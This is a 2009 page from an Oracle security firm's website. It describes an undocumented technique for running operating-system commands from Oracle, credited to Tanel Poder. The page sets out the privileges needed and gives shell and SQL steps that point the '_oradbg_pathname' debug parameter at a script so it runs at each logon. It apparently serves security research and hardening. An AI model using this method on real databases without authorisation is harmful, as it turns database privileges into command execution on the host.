Deutsch Download free trial version of Repscan from Sentrigo

Red-Database-Security GmbH is specialized in Oracle Security

Products
Repscan 2.5
Hedgehog Enterprise
Checkpwd (free)

Services
Oracle Audit / Hardening
Security Training
Consulting

Information
Oracle Security Blog
Published Alerts
Upcoming Alerts
Patch Information
Whitepaper
Presentations
Oracle Fact Sheets
Exploits
Tutorials
Videos
Scripts

News & Events
Events
News

Company
Contact
People
Partner
Impressum
Sitemap


Search



Search Red-Database-Security

Run OS commands via alter system set events

Idea by Tanel Poder (undocumented)

Requirements
  • execute on UTL_FILE or execute on DBMS_ADVISOR + advisor privilege
  • CREATE ANY DIRECTORY

Modify the text file located in $ORACLE_HOME/plsql/spnc_commands. This file contains the compiler settings in 10g / 11g.


Code:


$ cat > /tmp/debug.sh
/bin/echo Hello World! $*
$ chmod u+x /tmp/debug.sh

SQL> alter system set "_oradbg_pathname"='/tmp/debug.sh';
System altered.

SQL> alter system set events 'logon debug forever';
$ sqlplus "/ as sysdba"
SQL*Plus: Release 10.1.0.3.0 - Production on Sun Mar 6
09:41:59 2005
Copyright (c) 1982, 2004, Oracle. All rights
reserved.
Hello World! 28826
Connected to:
Oracle Database 10g Enterprise Edition Release
10.1.0.3.0 - Production
With the Partitioning and Data Mining options



© 2009 by Red-Database-Security GmbH - last update 20-apr-2009